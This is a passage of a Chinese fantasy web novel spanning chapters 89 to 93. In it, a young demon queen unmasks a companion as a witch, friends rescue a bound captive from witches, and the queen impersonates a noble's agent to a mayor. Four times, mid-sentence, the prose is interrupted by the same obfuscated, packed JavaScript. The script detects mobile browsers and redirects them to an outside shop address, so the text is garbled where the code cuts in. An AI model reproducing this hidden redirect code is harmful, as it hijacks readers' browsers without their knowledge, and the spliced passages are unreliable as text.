她曾经在罗德里斯面前向老吸血鬼发出站立的指令，于是那位因为衰老而陷入残疾的年迈血族短暂地恢复了运动能力，成功地从轮椅上站了起来。 她也从乌鸦口中听说了她所书写的文字能够对魔女产生怎样的影响。 她亲自证实过所谓魔王的权力有多么强大的力量，足以突破普通魔法的限制，甚至超越物理规律。 所以她在遇见那两位手腕上刻有刺青记号的魔女后，想到了“新型魔女”和“王权失效”两种假设。 现在她又发现自己的命令对阿加雷斯同样无效。 难道在她一无所觉的时候，她的权能真的已经不告而别了吗？ 又或者说，她根本就不是什么魔王，之前几个月所发生的一切可能是出自另一种超自然的原因，比方说她其实是恶魔研究所的一个实验对象，只是她自己并不知情？ 有人在她的左肩轻轻拍了两下，平稳但带着一点虚弱的声音从她头顶响起：“抱歉，是我失态了。” 妮娜赶紧回过神来，望着那张已经恢复平静的脸：“没事了吗？” “嗯，赶紧上楼吧。是404室对吧？” 还不等妮娜回答，阿加雷斯已经迈步向前，一头钻进了单元楼的入口。 妮娜追了上去：“你看得懂藏在那幅涂鸦里的文字？你学过魔族的古文字？” 阿加雷斯健步如飞地走着楼梯。 这说明小区的现代化水平相当落后，既没有装载魔法阵，甚至没有安装一部电梯。 “是一位德高望重的魔族前辈教给我的。”他说，“我看到了，那面墙上写着‘我将复仇’，不怕你笑话我，我被那些文字吓了一跳。” 他的语气里已经没有恐惧和迟疑了，但不排除这是他装出来的。 没有做过亏心事的人不会害怕“复仇”的言论。 难道他曾经做过什么会引人报复的糟糕事吗？ ——这个正直又脆弱，甚至……不恰当地说，还有些慈祥的家伙？ “你怕有人会来找你复仇？”妮娜在404的门口追上了他。 她取出乌瑟给她的钥匙，插进锁孔，而阿加雷斯恭恭敬敬地等在一旁。 “你知道黄金时代是因何而开始，又为何而结束的吗？”他突然问道。 妮娜打开房门，快步走了进去，并在阿加雷斯进屋之后立刻关上了门。 “我听说是因为当时社会上出现了普遍的同情魔族的情绪，在有识之士的领导下，社会各界共同发力，最终促成了那一段短暂的和平。在黄金时代，很多魔族表现出了超越人类的智力和体力，让人类感受到一定程度的生存压力，矛盾再次积累，最终因为一起对元素兽的误杀事件彻底爆发。人类再次获得了胜利。” “嗯……像是会出现在历史答卷上的内容。” “什么意思？你想说事实并非如此？” 不得不说这个话题出现得很突然，但妮娜一下子就陷了进去。 自从创建了罗德里斯公寓项目以来，她就对人类和魔族的关系投入了更多的关注，而她毕业项目的选题和后来真实身份的浮现则愈发催化了这种关注。 “你是学经济的，你们学院的教授难道从来没有洋洋得意地说过人类社会一切问题的根源都在于经济，或是在于社会生产力什么的？” “好像是有人这么说过。” “黄金时代，以及黄金时代之前的十年左右，是人类科学技术爆发的一段时间，大多数对先代社会产生影响的科技都诞生于那个年代——我是说和魔法完全无关的那些。” “嗯。” “人类有了自己的‘魔法’，也就是科学，所以渐渐不再畏惧真正的‘魔法’。科技催生了人类的自信，鼓舞了他们的勇气，所以他们愿意以更加开放包容的心态去面对另一个种族。” “这说得通。” 老吸血鬼说过，两次除魔运动先后灭绝了龙族、幻灵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13268418|136394||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和元素兽三个魔族物种，不仅是因为他们有着比一般魔族更强大的魔法天赋，也因为他们是不受贵族院控制的种族。 人类对这三个种族实施灭绝，是因为恐惧。 人类容许其他魔族在他们的社会中苟且，则是因为清楚他们没有兴风作浪的本事。 “而黄金时代之所以结束，也是因为人类发现科学的力量仍然不及魔法。人类掌握了取火，也掌握了电力，但始终无法像元素兽那样运用自如，他们需要借助工具才能制造和利用这些元素，还会因为火灾和触电丧生——如果你去仔细查阅那头元素兽惨遭误杀的前因后果，应该会有更深的感悟。那始于一场小规模的火灾，元素兽只是想要灭火，人类却过度反应了。” “后来，一直到现在，以贵族院为首的人类虽然没有放弃对科学的信仰，但同时也做出了从魔族手中掠夺魔法的决定。只有这样，才能彻底安抚他们内心的恐惧。” 乌瑟的住处可以用家徒四壁形容，妮娜在衣柜里一眼就找到了整齐地挂在衣架上的那套正式装束，并将它取了出来，摊在硬邦邦的床上，打算将它折叠到能够放进挎包的程度。 科学与魔法，两种力量的对撞。 阿加雷斯说到了一些她从未想过的东西。过去很长的一段时间里，那些东西其实都一直隐隐约约地盘桓在她的脑海中，只是她一直没有梳理明白。 她消化着这些信息，也开始思考阿加雷斯为什么要对她说这些。 人类和魔族，两个种族的抗衡。 她突然醒悟过来，将刚才的自我怀疑排出脑海。这一切本就不容置疑，否则它如何被冠名为“绝对”？ 她将折好的黑色魔女正装抱在怀中，转过身去：“阿加雷斯，把你身上的衣服全部脱干净。” 阿加雷斯睁大了眼睛：“什、什么？” 妮娜低头将乌瑟的衣服装进挎包，然后将空出来的双手抱在胸前，看着那个并未采取行动的男人。 “不管你之前知不知道这件事，现在我当面向你声明一遍——”她说，“我是一个魔王。” 阿加雷斯似乎终于意识到自己犯了一个什么样的错误，表情带着些许错愕。 “如果你不明白这意味着什么，那我就来说明一下，”妮娜继续说道，“没有一个魔界成员能够抗拒魔王的语言。如果你真的是我的族人，那么你现在应该已经□□了。” “——你要么是一个伪装成魔族的人类，要么是一个不受控制的魔女。” 考虑到他的魔法能力，后者的可能性更胜一筹。只是和妮娜见到过的那些魔女相比，他的外貌完全无法让人产生那种联想。 阿加雷斯收起了惊讶，但他并未表现出被拆穿的慌乱，反而显得无奈：“你没有魔法，也无法以王权挟制我，就这样挑明一切，不怕遇上危险吗？” “恶魔城放你进门了。你对我和我的种族没有恶意。”妮娜确凿地说道。 接着，她的语气缓和起来：“我知道魔女是一项残酷实验的产物。如果你想逃离令你不快的过去，逃离贵族院的控制，我愿意为你提供庇护，就像我愿意接纳布莱克、佩吉还有乌瑟一样。” 90. 第 90 章 …… 如果我真的是诞生于生命之树的种族，大概真的会把自己脱个精光——那样她也会吓一跳的吧？我的反应要是再快一点就好了。 现在，我要告别“夜骑”的身份而去当一个“魔女”了，这让我对前途感到有点忧心。 从逻辑的角度来说，也许确实能推导出阿加雷斯是一个魔女的结论，但她就没有考虑到一个问题，那便是我和魔女一点也不相像吗？ 一个魔女该是怎样的呢？ 他们脱胎自深渊族，看起来就像是能够直立行走的白化银带鱼，他们终日穿着黑色，并且总摆出一张不高兴的脸。 而我，一名身材高大、肤色健康、性格开朗的成年男性，是如何被贴上魔女这个标签的？ ……但无论如何，她没有把我赶出去，那便随她怎么想吧。 尽管还不完全，但她确实有几分魔王的模样了，她盛气凌人，行为举止看似鲁莽，实则不乏深思熟虑。 但是，格兰德，和你相比，她还不够成熟。 ——《阿加雷斯的日记》 …… 说起来，他其实从来都没有主动说过自己来自于哪一个种族。第一次见面的时候，我便自作主张地将他当成了夜骑——现在回想起来，我真为自己的想象力感到羞耻。 可是他也没有否定。 不难解释他为什么乐于承认自己是一个夜骑。如果那时候我知道他是一个魔女——而且还是不受控制的那种——我一定会对他冷眼相待的。 新型魔女的存在对我们而言是一种巨大的威胁，我没有能够打败他们的力量，也没有能够约束他们的权能，所以我会下意识地排斥他们。 我和阿加雷斯所说的那些因为惧怕魔法的力量而对魔族赶尽杀绝的人类有什么不同呢？排除异己也许是智慧种族的本能。 但我想做一点不一样的事。 存在于过去的诸王啊，你们会觉得我是一个夸夸其谈的黄毛丫头吗？你们会觉得我的想法过于天真和幼稚吗？ 无论如何，王冠已经落在我的头顶。 你们能否慷慨而仁慈地赐予我勇气和智慧，让我不至于在困境面前新生怯意，也不至于在慌乱中作出愚蠢的决定…… 诸位先王，我真想问问你们，绝对王权对你们来说究竟是怎样的存在？你们是否会顾虑到这种独属于王族的天赋具备独裁的特性，是一种剥夺其他个体自由的卑劣之举？ 反正我的的确确那样想过，所以我一直避免使用这种天赋去下达完全违背他人意愿的命令。 ——如果我真的有那么充足的底气，有那么豁达的胸襟，有那么开明的观念，我就不该惧怕那些游离于王权之外的存在。 要知道，世界上总有很多事情（或者说是大多数事情）都不会按照个人的意愿发展——对于这条生活经验，我早就有了太多心得体会。 另外……既然他不是夜骑，那我在他面前产生的悸动又算什么？ ——《妮娜的日记》 …… 枕套上残留的是油脂和皮屑之类的从人体产出的废弃物质，对人类来说，已经一年没有使用过的枕套上散发的更多是一种潮湿发霉的味道，但兽人可以凭借其敏锐的嗅觉提取到更多信息。 乌鸦很快就完成了气味的采集，并开始在城市中搜索类似的味道，佩吉出借了漏斗形状的气味放大器——这也是她售货列表上的商品之一——帮助她更好地定位目标的下落。 探测显示，携带和枕套上相同气息的人类位于接近城乡结合部的一个居民区里，以及离那个居民区大约有两公里远的一个偏僻货仓。 “为什么会有两个结果？不会是被分、分、分尸了吧！”虽然说这话的时候，口齿有些不清，但佩吉的眼中却闪耀着兴奋的光彩。 乌鸦对此颇感无奈：“拜托，他不是你的同班同学吗？你就这么期盼他死无全尸？” 佩吉调皮地捂了一下嘴巴：“噢，差点忘了。我还没经历过这么刺激的事了。但如果莱斯利真的死了，我也是会伤心的啦。所以到底是怎么回事？” “一处气味点应该是长期生活形成的，”乌鸦叹了口气，“另一处则是本人所在的位置。” “我猜也是这样。”佩吉说，“那么，你定位到的居民区是他在这一年里居住的地方，而那个货仓就是他目前藏身的地方？” “应该不会错。不过我想他在那座货仓里可不是为了藏身。” “喔，被人关在那儿了！这很可怜哎，他又不是主动抛头露面的，只是正好被节目的制作组选上了而已。” “恐怕不是因为不小心上了节目的关系，而是因为上节目给了他做某件事的契机吧。” “某件事是指？” “你和妮娜外出的时候，我让文森特帮忙收集了一些讯息，有疑似莱斯利父母的人在社交平台发言，说想找回儿子，他们也猜测莱斯利遭受了某种势力的胁迫或恐吓。毕竟是能考上恩斯法内的人，在家里一定是父母的骄傲吧。” “让我想想……他猜到父母会通过那个视频猜到自己的处境，有点愧对父母，又怕把父母卷入危险之中，所以打算自寻死路……之类的？” “你很聪明嘛。” “喂，别看我一副穷酸相，好歹也是所谓的‘恩斯法内的高材生’好吗？！” 插科打诨之间，两人已经来到了那个居民区。 乌鸦看到大门，没有多想，迈步就要进去。 佩吉一把将她拉住，用力拖到安保岗亭的视线盲区：“斯特尔一直说你是个莽撞的家伙，看来一点也没错。” “我已经改善很多了！” “好吧，你已经在改正了。但是你看——”佩吉指了指小区大门的地面。 乌鸦看到地面上有一截深色的弧线：“怎么了？那有什么吗？” “这条弧线是一个大圆的一部分。” “哦，那这个大圆可真是够大的，看上去差不多能把整个小区都圈起来。等等——巨大的圆？” 佩吉小声地提示了答案：“那是一个魔法阵，贸然进去的话，会遇上危 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13281779|136394||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 险的。” “你还真是敏锐。” “毕竟我是学这个的。” “那我们该怎么办？” “改道，直接去货仓。这个魔法阵已经摆明了说这儿不对劲，有机会的话，我想誊写一部分带回去研究，这样能用更安全的方式了解敌情。” “好吧。今天带你来真是正确极了。” 乌鸦没有对这个可疑的居民区太过留恋，转而奔向一公里外的货仓。 “见鬼，怎么会是魔女？！”在货仓附近潜伏调查的时候，她一下子就认出了徘徊在大门附近的生物。 佩吉仔细看了几眼：“你说那个人是魔女吗？我看不出来。” 那是因为他没有穿着黑色的衣服！乌鸦在心里默默地吐槽着，嘴上解释道：“乌瑟就是魔女，我清楚一个魔女会有怎样的气息，他只是穿着寻常人类的衣服来掩饰身份罢了。” “我第一次知道魔女还会掩饰身份，他们有这么做的必要吗？”佩吉小声问道。不过很快她自己就想清了其中的道理，“哦，这还真是……让人毛骨悚然。” “你想到什么了？” “你没想明白吗？” 乌鸦皱了皱鼻子：“你在嘲笑我？好吧，我就是没想明白，他们为什么要改变穿着？” 佩吉没有卖关子：“当然是不想让一般人知道他们是魔女。魔女是由贵族院掌控着的。说明在这里发生的事情，与贵族院有关，但贵族院又不想让人知道这事和他们有关。” “你在念绕口令？” “我觉得我说的很清楚了。” “等等，有什么声音？” “什么？你别欺负我听力平平。” “人类的哀鸣，看来你的同班同学正在受难。” “噢，我们不能再浪费时间了，得赶紧救他！你还在磨蹭什么？” “很遗憾，我打不过魔女。我以为整出邪教的家伙，再怎么可恶也只是人类。没想到这事会和魔女扯上关系。我想我们先折返一趟，这事需要阿加雷斯的帮助。” 佩吉突然僵住了，她也听到了哀嚎的声音。 一个快三十岁的男人，竟会发出如此软弱凄惨的声音。 “不行，等我们把阿加雷斯叫到这儿，莱斯利可能真的要变成尸块了！” 她唰地从掩体后面站了起来，同时将手中握着的什么东西给用力抛了出去。 “见鬼！”乌鸦骂了一句，想把她拉回来，但已经来不及了，巡逻的魔女已经发现了不速之客。 打扮得像个流□□巫似的媒介商人利用短距离瞬移媒介一下穿过魔女的防守，抵达仓库大门，但她没有立刻进去，而是反向释放了一个推进媒介，大量而集中的气体被喷射到魔女身上，佩吉这才乘着反作用力如同坐火箭一般冲进了仓库。 这波算计打得魔女措手不及，还不等他从气流的压迫中缓过气来，后颈和腰椎同时受到巨大冲击，他被夹在气流和这股冲击力之间动弹不得。 在气流最终消失的瞬间，两股力量失去了平衡。 91. 第 91 章 魔女在接近失去意识的状态下被半兽人少女一脚踹到了仓库的墙上，几乎要嵌进那面水泥墙里。 这一击让他彻底昏死过去。 为了保险起见，乌鸦用自己的羽毛暗器将他封锁在墙面的凹陷里。 任谁看了都要说这是一场碾压式的战斗。 尽管王城的结界确实削弱了魔女的力量，但在此之前，乌鸦从没想过自己真的可以在成年之前打败一名魔女（虽然某人的先发制人起到了很大的作用）。 “小乌鸦，快过来！”佩吉的声音从仓库深处传来。 乌鸦循声飞去，在落地的同时收起羽翼。 男人被倒吊着绑在一件不知该被称为祭坛还是该被称为刑具的东西上面，头部因为充血涨得通红。 祭坛（或者说刑具）的上方横嵌着一支点燃的蜡烛，滴落的蜡油在男人身上淌得到处都是，大部分已经凝固了，但总有新的滚烫的液体落下来，被蜡油滴到的地方嗤地燃起一缕黑烟，让人轻易就能嗅到一股不祥的气息。 “他看上去像一件祭品，不知道是为了奉献给哪位邪恶的神灵。”乌鸦飞了一根羽毛过去，蜡烛顿时被熄灭了。 “总之……我们先把他带回去。”佩吉已经着手在为男人松绑了，“来搭把手，别让他的脑袋撞到地面。” * 波诺时隔多日登录《原子之战》时，制作完成的星海神杖已经安静地躺在他的邮箱里了，寄件人是[别叫我戈莱特]，也就是蒂德莉的角色名称，而星海神杖属性界面的制造者名为[戈莱特的狗]，这种冷笑话似的巧合让他觉得一点也不好笑。 这把传说中的武器并没有给他仿佛灰烬般飘渺空虚的心灵带来太多慰藉，他神情呆滞地看着显示屏中的角色装备上那把闪闪发光的法杖，穿得如同杂耍艺人般花花绿绿的游戏人物顿时显露出热爱炫耀的超级大法师的气质。 比起他的无动于衷，游戏背景在不知不觉中变得热闹非凡。周围的虚拟角色们开始产生骚动，附近频道的聊天框登时被挤得满满当当。 毕竟谁也不会想到，一个平平无奇的小丑般的人物竟突然拿出了一把谁也不曾见过的、炫目到夸张的武器，仿佛从法杖尖端的魔法球中放射出来的光线就能把靠近的敌人全部扫射死亡一样。 [谁能告诉我这个夜厅水晶灯一样的东西到底是什么？] [这是法师的神级武器啊，快去叫深海大佬来，有好戏看了！] [合影成功！] [他怎么会有这玩意儿的？！之前那个工匠给他打的吗？] [吃瓜喜报：果子狸已经在赶来仇杀的路上了。] 波诺毫不理会从聊天框中飞驰而过的无数信息，愣怔地看着星海神杖的道具描述—— 【神杖顶端的星星蕴藏着时空之力，杖身雕刻的海浪波纹将激发持有者的元素天赋。能够同时完全掌握时空与元素力量的人，才是世界上绝无仅有的大法师……】 他的视线像是被烫到了一样，很快就从那行文字上面游离开了。他按下了程序边框右上方的关闭键，一言不发地在万众瞩目之中登出了游戏。 他松开鼠标，看了一眼掌心，嗤的一声，一团火焰在他手掌上方绽了开来。他立即将手捏成拳头，那团火焰也随之消失了。 “见鬼……什么元素天赋！” 无法质疑的事实就摆在眼前，身为人类的他怎么可能拥有召唤火焰的力量，这明显是阿斯代伦口中那颗炼狱兽的核心在发挥作用。 活久了并不一定都会有好事的，现在，他就算不情愿，也无法从这趟浑水之中全身而退了。 更加糟糕的是，一直在努力维系圆桌会议成员关系的兰登突然失去了踪迹。 她在应该出席会议的时间没有出现在会议室。 韦斯特尔等人却对此漠不关心，好像贵族院中从来就没出现过这么一个人似的。 阿斯代伦好像看出了一些端倪，却什么也不说，蒂德莉则表现得有些失落，但也没有就兰登的缺席作出表示。 三百年来，圆桌会议一直是集齐七个人才能召开的，但那些人似乎完全不在意这个历史悠久的传统，若无其事地商讨着在他看来并不重要的话题。 比如上次那批因为韦斯特尔的擅自移动而逃跑的魔女。贵族院至今仍未找到他们的下落。原本装在他们身上的定位器在入狱的时候统一摘取了，这是一个无比愚蠢的决定。 有好几次，波诺都怀疑是自己的记忆出现了问题，其实圆桌会议中从来就没有过兰登这一号人物。但随处可寻的历史资料都表明贵族院有七名成员，分别代表着在人魔大战中立下重大功劳的七个家族。 他没法再在会议上发挥插科打诨的精神，用玩世不恭的口吻询问兰登的去向，他怕下一个消失的就是自己。 从这个角度来说，对元素魔法的掌握反而给他提供了一点微不足道的安全感。 会后，波诺终于鼓起勇气在散会后找上阿斯代伦，准备从他那里获得一些说法。 明天就是圣灵节，他们七个人应该穿着莫名其妙的服饰、戴着莫名其妙的面具、乘坐莫名其妙的载具在都城进行巡游。 但是现在他们缺了一个人。 这可是三百年来未曾中断过的传统。但是只有六个人的巡游比中断巡游更加可疑。他的同僚们究竟打算如何解决这个麻烦？ 阿斯代伦神情淡漠地告诉他不要深究，最好假装什么都不知道，反正巡游的时候他们不露真容，可以随便找一个人顶替兰登。这样至少还能维持贵族院在表面上的和谐。 “表面上的和谐？我都不知道你们在私底下的矛盾已经这么深了。” “我还以为魔王的回归能让你们重新团结起来呢！” “噢——我知道了，你和蒂德莉从来都没有把魔王当成敌人，没有一致的敌人，当然也就不会出现像三百年前那样的团结。” “岂止如此，我猜你们彼此之间的仇恨比对魔王的还要深得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13296450|136394||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 多！” “上次和你说了那么多看来全是白费口舌，但你说的也不全错——” “你骗过我，还骗了那么久，就不能指望我对你言听计从！” 波诺像个连珠炮似的吵嚷着。 “随便你吧，我也不需要一个总是摇摆不定的盟友。” 阿斯代伦这种轻描淡写的口吻让波诺感到更加慌张，他虽然对这个男人没有抱着多少好感，但直觉告诉他和韦斯特尔站在一边才是死路一条。 他不想在这种情况下落单，而阿斯代伦是在不得已做选择的时候最优的选项——因为选择阿斯代伦便意味着同时选择了阿加雷斯。 * 妮娜穿上了陪伴她参加过无数场无疾而终的求职面试的正装，把那头总是不安分的头发梳得服服帖帖，还戴了一副细框黑边眼镜，除了眼神还有点天真无邪之外，她看起来的确像是一个正儿八经的不知道干什么的人了。 “出发吧。”她有点紧张又有点激动地对伪装成下属的同行者说道。 两个穿着一般黑的人穿过公寓楼梯下方的传送阵，抵达赫尔马岱的办公处，维克多已经安排好了一辆黑色的商务轿车，驾驶员是负责管理北部矿区的亚历山大。 在前往目的地的途中，他抽空讲述了矿地的近期成绩，产量和销量都令人欣喜，他也提及了那个为矿工们安排课程的计划，委婉的表达了自己的担心——如果获得了职业技能的工人们纷纷选择离开工地，那会使他的工作变得很难办。 “开出合理的报酬，提供充足的福利保障，总有人会愿意放下身段尝试这种体力劳动的。那么多失业者等着吃饭，这里总能给他们留出一口。” “你是说让人类工人参加采矿的工作吗？” “为什么不呢？魔族能做的事，人类为什么不能做——这些工作又用不到魔法。” 亚历山大觉得哪里有说不上的怪异，但又弄不清个所以然来，还渐渐觉得那些话很有道理。 难道人类比魔族还没用不成？ 社会上充斥着那么多过量的劳动力，到了走投无路的时候，即便是不受欢迎的工地，也应该会被纳入求职的选择才对。 劳动是多么光荣的事！ 黑色商务轿车在赫尔马岱市政中心的门口停了下来。 两条黑黢黢的影子先后从车上降落。 他们如预料那般没能通过大门口的识别系统，因此被那扇伸缩门给拦住了。 市政中心的门卫从连空调都没有打的闷热的传达室走了出来：“你们是什么人？来这里找谁，做什么？” 他的语气并没有想象中那么粗野和蛮横，或许是眼前那两个人的正式装束震慑到了他。 尤其是在注意到那个穿着形制奇特的黑色制服、身材高瘦、皮肤像墙壁一样惨白的男人的时候，他的表情一下子变得唯唯诺诺起来。 因为工作的关系，他曾近距离见到过不少魔女，所以他很肯定这家伙也是其中之一。 92. 第 92 章 能够让魔女充当随从的，不是贵族院里的七位大人物本尊，就是他们所指派的代理人。 魔女绝对不会听从贵族之外的人的命令，是比正式的身份牌还要可信的人证物证。 不排除有些又白又瘦又高的家伙能够把自己装扮成一个魔女，但那些假扮的魔女只能欺骗外行，却无法骗过经验丰富的门卫。 他可以用自己的职业生涯和职业荣誉起誓，如今出现在他面前的是一位货真价实的魔女，那种令人厌恶的生物。 也就是说，带着这位魔女出行的职业女性，想必是某位贵族所指定的代理人——甚至不排除本人出面的可能性。 “您好，请问您有预约过今日的拜访吗？”他立刻换了一种语气，重新提出疑问。 女性淡淡地往他脸上瞥了一眼，缓缓地摇了摇头，“是戈莱特大人让我来的，她有重要的事情要我向市长当面传达。” 贵族院的成员大多神秘莫测，人们仅仅知道他们是领导了人魔大战的七个大家族的后裔，但对其具体的姓氏和家族历史则知之甚少，更不用说他们的名字和面貌了。 格尔克诺和戈莱特算是其中的例外。 格尔克诺之所以出名，是因为勇者便出自这个家族，而戈莱特则是因为狂战士的名誉而被后人记住。 妮娜在格尔克诺和戈莱特之间选择了戈莱特作为自己虚拟的上司，可能是认为狂战士的头衔听起来比勇者更加令人生畏。 她目中无人的态度非但没有激起门卫的愤慨，反而让他肯定了她的身份。 代理人的私下拜访——每年总会发生几次，因为永远有一些不方便通过邮件或是其他远程联络渠道传递的内容。 他不需要过问具体的内容，只要在这种情况出现时尽量提供方便，并在事后对任何人绝口不提。 这种私下拜访很可能涉及到贵族院成员之间的无法公开的恩怨情仇，对于一个普通人来说，在面对这些秘密的时候最佳的明哲保身之举就是假装什么也不知道。 更何况他确实什么都不知道。 “我会向市长办公室发送通知，两位可以通过厅堂内部的传送阵直接抵达市长办公室。” “麻烦你了。”职业女性依旧保持冷冰冰的口吻，她丢下这句话，然后带着那位魔女长驱直入。 门卫立刻钻进传达室，通过专用的对讲机器向市长汇报了这一情况。 “但愿我表现得还算不错。”妮娜不动声色地拍了拍胸口。虽然她的身材贫瘠，但正装胸前的那颗纽扣还是让她感到有些局促。 她人生早期的穷困时光让她避免成长为一个高高在上的人，她不习惯对别人颐指气使，刚才那种冰山般的态度一定程度上是因为她的紧张。只能说这种紧张对她的演技来说出现得恰到好处。 “接下去就是正面战场了。我还是第一次做这种大诈骗师的工作。” “你已经把我骗上了贼船，最好表现得靠谱一点。不然——”乌瑟的话听起来咬牙切齿。 “不然什么？”妮娜头也不回地问道。 “……会让人感到不安的。”魔女的气势一下子变弱了。 两个乌漆墨黑的人此时已经走进了传送阵。妮娜选择了出口选项中的“市长办公室”，再回过神来的时候，他们就已经站在一扇深棕色的厚重木门的外面了。 西装革履的中年男人开了门。 妮娜差点就要开口和他进行礼节性的问候，幸好及时地发现了他只是市长秘书之类的人物。市长本人正坐在写字桌的后面，见到客人进来，马上站起身，绕到边上的会客桌椅前，邀请来访者入座。 妮娜迈着装模作样的步子走到长沙发的边上，动作僵硬地伸出手：“戈莱特的代理人，珊迪亚戈·弗兰西斯科。”她出于不知什么原因，特意编造了一个音节比较多的假名。 “我是赫尔马岱市的市长，凯达·波多尔，很荣幸见到您。”市长面带表示友好的笑容，伸出了表示友好的手，和妮娜的交握在一起，上下晃动了一下。 两个人各自在茶几的两头坐下，作为身份象征的魔女乌瑟·斯莱曼站在“上司”的后方，这导致波多尔市长的眼神总是忍不住往那个方向飘去。 仅仅是非常短促的一瞥，然后很快就会避开，像是害怕被当事人发现似的。 想必一个浑身漆黑的高个子站在对面会让人感到不小的压力。 “戈莱特大人需要我为她操办什么事情吗？您放心，我一定会尽己所能让她感到满意。”尽管还完全不知道任务明细，波多尔市长就信誓旦旦地作出了承诺，不知道该说他究竟是殷勤过了头，还是对自己的执行力充满信心。 见到他是这样的态度，妮娜便不打算多说废话，她在秘书往桌上端来两套茶具的同时开口道：“戈莱特大人让我转告市长先生，她希望您能秘密移交恶魔研究所的管理权限。” 波多尔市长愣住了，脸上的笑容也变得有些生硬，完全是靠肌肉记忆在进行维持，他沉默了一会儿，小心谨慎地问道：“我不确定我有没有听错，可以请您再重复一遍戈莱特大人的诉求吗，弗兰西斯科女士？” “把恶魔研究所的管理权限移交给戈莱特大人。”妮娜面无表情地重复了一遍。 “这个……”波多尔的视线又开始向自己的办公桌偏移，仿佛只有那张桌子才有权决定商谈的结果。 妮娜追随着他的视线看到了桌上堆叠的文件，她考虑片刻，追加补充道：“据我所知，研究所近期完成了一项关于魔女的秘密研究。戈莱特大人对研究结果感到不满，并对研究的正当性有所怀疑，在确保安全性和符合伦理标准之前，她不能容忍相关研究继续进行。由于她不希望和贵族院的其他成员产生明面上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13306723|136394||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的矛盾，所以她希望这项转移能在私下进行。这也是她直接差遣我前来拜访此处的原因。” 波多尔的神情一下子变得严肃起来，眼中不易觉察地闪过一丝认同。 妮娜推了一下镜腿，暗自松了一口气。 她对七位贵族围绕研究所的权力斗争一无所知，但她相信波多尔市长知道的内容也十分有限，通过乌瑟提供的他所知道的一些情报，结合最近她自己掌握到的一些动向，还有古斯塔夫在追踪蒙多下落时得到的线索……总之，通过大量的零碎资料，她勉强拼凑出了一个看起来像那么回事的结论。 这个结论的真实性也许微乎其微，但大体框架应该大差不差，至少不会和波多尔知道的情况大相径庭。 存在于七位贵族之间的裂痕，围绕各自利益开展的争斗，新型魔女的出现，对蒙多和诸多旧型魔女进行的秘密运输，导师7号的暗中相助…… 还有最为可疑的一点，是古斯塔夫在上午传来的简讯，这件事经过他与乌鸦二人的共同确认，基本可以保证真实性，那就是今天在王都举行的圣灵节巡游中，出现了一位没有魔法气息的“圣灵”，这是过去不曾有过的现象。 人类当然不会发现这个异常，但对魔法气息异常敏锐的魔族却能发现不同之处。 这足以说明贵族院内部发生了了不得的大事——尽管她不知道具体是怎样的事件。 她在得到古斯塔夫的联络后立刻尝试给导师7号发送暗藏了命令型语法的消息，很快就得到了回复，看来出事的不是一直以来都对她表现出宽容和友好的导师7号。 “不瞒您说……”波多尔没有掩饰内心的动摇，“我对近期在研究所开展的研究内容也感到十分担心，我最害怕的事情就是有朝一日这项研究的真相会被世人知晓，那样的话，社会一定会发生暴动的。” “用人类进行的混血实验。”妮娜为了证明自己“懂得很多”，也为了让市长对她更加放心，便把曾经从乌鸦口中听到过的那个实验说了出来，“如果一般国民知道研究所在用人类进行活体实验的话，恐怕安宁的日子就要到头了。” 波多尔果然变了脸色。 她压低声音继续说道：“本来社会上就已经逐渐出现批判贵族院的声音，不能让情况变得更加不利了。戈莱特大人不仅是为了保全贵族院，保护全体国民，也是在保护我们这些吃公家饭的人。你知道这里面的利害关系。” 波多尔从上衣口袋里抽出一条手帕，抹了抹额头上和鼻尖上的汗水：“弗兰西斯科女士，您说的完全没错，戈莱特大人是一位具有远见卓识的贵族，我相信她的举动乃是出自为全体国民谋取福祉的崇高理想。但是……” 他的眼神开始闪烁不定，里面既有懊悔，也掺杂着痛苦，这昭示了他在一定程度上的身不由己，而这也是妮娜在来访前考虑过的问题。 93. 第 93 章 “我与现在掌握着研究所权限的那位大人签署过一份协议，如果我擅自违背约定的话，协议上的魔法就会生效，我一定会陷入生不如死的境地。”波多尔说。 